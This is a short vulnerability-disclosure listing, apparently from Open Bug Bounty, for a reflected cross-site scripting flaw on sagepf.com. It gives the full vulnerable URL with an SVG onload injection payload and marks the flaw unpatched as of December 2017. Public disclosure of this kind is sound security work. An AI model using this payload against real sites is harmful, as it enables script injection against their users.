sagepf.com XSS vulnerability

Vulnerable URL: https://www.sagepf.com/continue.php?submitcheck=1=xss%22%3E%3Csvg/onload=prompt/openbugbounty/%3E=Decan=ARW=13=12503 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...